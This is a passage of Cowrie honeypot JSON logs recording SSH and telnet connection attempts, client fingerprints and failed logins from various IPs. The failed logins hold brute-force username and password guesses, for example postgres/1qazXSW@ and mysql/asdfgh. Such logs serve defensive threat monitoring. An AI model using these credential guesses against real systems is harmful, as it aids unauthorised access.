fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:39.404523Z","src_ip":"140.106.25.230","session":"91666c5c07c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1qazXSW@","message":"login attempt [postgres/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:39.560709Z","src_ip":"140.106.25.230","session":"91666c5c07c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:40.596445Z","src_ip":"140.106.25.230","session":"91666c5c07c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":53083,"dst_ip":"10.17.0.5","dst_port":23,"session":"49b44ddf98e8","protocol":"telnet","message":"New connection: 43.224.126.107:53083 (10.17.0.5:23) [session: 49b44ddf98e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:42.698220Z"}
{"eventid":"cowrie.session.closed","duration":31.02156925201416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:50.063119Z","src_ip":"138.197.97.16","session":"77a04edc13fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01673936843872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:50.067858Z","src_ip":"138.197.97.16","session":"06da9a450a6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746206045150757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:50.073446Z","src_ip":"94.127.4.232","session":"79e1dd53776f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772886991500854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:51.459303Z","src_ip":"45.129.64.90","session":"6d647c38e42e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.011709690094,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:01.319791Z","src_ip":"152.32.87.10","session":"0bb10d777f62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.87.10","src_port":46578,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2f494b184d8","protocol":"telnet","message":"New connection: 152.32.87.10:46578 (10.17.0.5:23) [session: f2f494b184d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:02.085748Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52142,"dst_ip":"159.203.135.109","dst_port":22,"session":"132a902d66f6","protocol":"ssh","message":"New connection: 159.203.92.129:52142 (159.203.135.109:22) [session: 132a902d66f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:11.353825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:11.359091Z","src_ip":"159.203.92.129","session":"132a902d66f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:11.364116Z","src_ip":"159.203.92.129","session":"132a902d66f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZhouWei","password":"123456","message":"login attempt [ZhouWei/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:11.382533Z","src_ip":"159.203.92.129","session":"132a902d66f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:12.390507Z","src_ip":"159.203.92.129","session":"132a902d66f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":41762,"dst_ip":"159.203.135.109","dst_port":22,"session":"6443c973ed33","protocol":"ssh","message":"New connection: 140.106.25.230:41762 (159.203.135.109:22) [session: 6443c973ed33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:31.376927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:31.382093Z","src_ip":"140.106.25.230","session":"6443c973ed33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:31.413178Z","src_ip":"140.106.25.230","session":"6443c973ed33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test101","password":"123456","message":"login attempt [test101/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:31.565593Z","src_ip":"140.106.25.230","session":"6443c973ed33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:32.603547Z","src_ip":"140.106.25.230","session":"6443c973ed33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.117.89.248","src_port":39228,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df61dd88e8a","protocol":"telnet","message":"New connection: 97.117.89.248:39228 (10.17.0.5:23) [session: 2df61dd88e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:38.885274Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56640,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f361c85c402","protocol":"ssh","message":"New connection: 159.203.92.129:56640 (159.203.135.109:22) [session: 4f361c85c402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:53.530728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:53.535660Z","src_ip":"159.203.92.129","session":"4f361c85c402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:53.540896Z","src_ip":"159.203.92.129","session":"4f361c85c402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZhouWei","password":"ZhouWei","message":"login attempt [ZhouWei/ZhouWei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:53.558008Z","src_ip":"159.203.92.129","session":"4f361c85c402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:07:54.567063Z","src_ip":"159.203.92.129","session":"4f361c85c402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":55316,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2ce480048a3","protocol":"ssh","message":"New connection: 196.189.51.7:55316 (10.17.0.5:22) [session: d2ce480048a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:05.550548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:05.555715Z","src_ip":"196.189.51.7","session":"d2ce480048a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:05.724860Z","src_ip":"196.189.51.7","session":"d2ce480048a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracleoracle","message":"login attempt [ubuntu/oracleoracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:06.430830Z","src_ip":"196.189.51.7","session":"d2ce480048a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:07.602996Z","src_ip":"196.189.51.7","session":"d2ce480048a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00684857368469,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:13.839968Z","src_ip":"170.79.76.209","session":"7cae678085ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55584,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d78585dade","protocol":"telnet","message":"New connection: 170.79.76.209:55584 (10.17.0.5:23) [session: 27d78585dade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:15.213664Z"}
{"eventid":"cowrie.session.closed","duration":120.00194597244263,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:15.599185Z","src_ip":"170.79.76.209","session":"008a3c927ec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55981,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8bef5dabbcb","protocol":"telnet","message":"New connection: 170.79.76.209:55981 (10.17.0.5:23) [session: b8bef5dabbcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:15.959452Z"}
{"eventid":"cowrie.session.closed","duration":120.00136756896973,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:16.330671Z","src_ip":"170.79.76.209","session":"c331cbc14a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55787,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0c8847b187","protocol":"telnet","message":"New connection: 170.79.76.209:55787 (10.17.0.5:23) [session: cf0c8847b187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:16.690402Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55789,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b1d7c5b5173","protocol":"telnet","message":"New connection: 170.79.76.209:55789 (10.17.0.5:23) [session: 1b1d7c5b5173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:16.705545Z"}
{"eventid":"cowrie.session.closed","duration":120.00192713737488,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:17.210009Z","src_ip":"170.79.76.209","session":"42a5e5e5c89b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55825,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bd2777c5601","protocol":"telnet","message":"New connection: 170.79.76.209:55825 (10.17.0.5:23) [session: 5bd2777c5601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:17.620352Z"}
{"eventid":"cowrie.session.closed","duration":120.00246524810791,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:18.633435Z","src_ip":"170.79.76.209","session":"e930808dc4bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":59036,"dst_ip":"159.203.135.109","dst_port":22,"session":"75fa7836250d","protocol":"ssh","message":"New connection: 140.106.25.230:59036 (159.203.135.109:22) [session: 75fa7836250d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:21.461699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:21.467591Z","src_ip":"140.106.25.230","session":"75fa7836250d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:21.496028Z","src_ip":"140.106.25.230","session":"75fa7836250d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"asdfgh","message":"login attempt [mysql/asdfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:21.639482Z","src_ip":"140.106.25.230","session":"75fa7836250d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55953,"dst_ip":"10.17.0.5","dst_port":23,"session":"e153a5402038","protocol":"telnet","message":"New connection: 170.79.76.209:55953 (10.17.0.5:23) [session: e153a5402038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:21.987250Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:22.676433Z","src_ip":"140.106.25.230","session":"75fa7836250d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":39944,"dst_ip":"159.203.135.109","dst_port":22,"session":"b159cd6a5d15","protocol":"ssh","message":"New connection: 173.249.6.197:39944 (159.203.135.109:22) [session: b159cd6a5d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:24.802242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:24.807403Z","src_ip":"173.249.6.197","session":"b159cd6a5d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:24.900894Z","src_ip":"173.249.6.197","session":"b159cd6a5d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"1234","message":"login attempt [myuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:25.309967Z","src_ip":"173.249.6.197","session":"b159cd6a5d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:26.406348Z","src_ip":"173.249.6.197","session":"b159cd6a5d15","protocol":"ssh"}
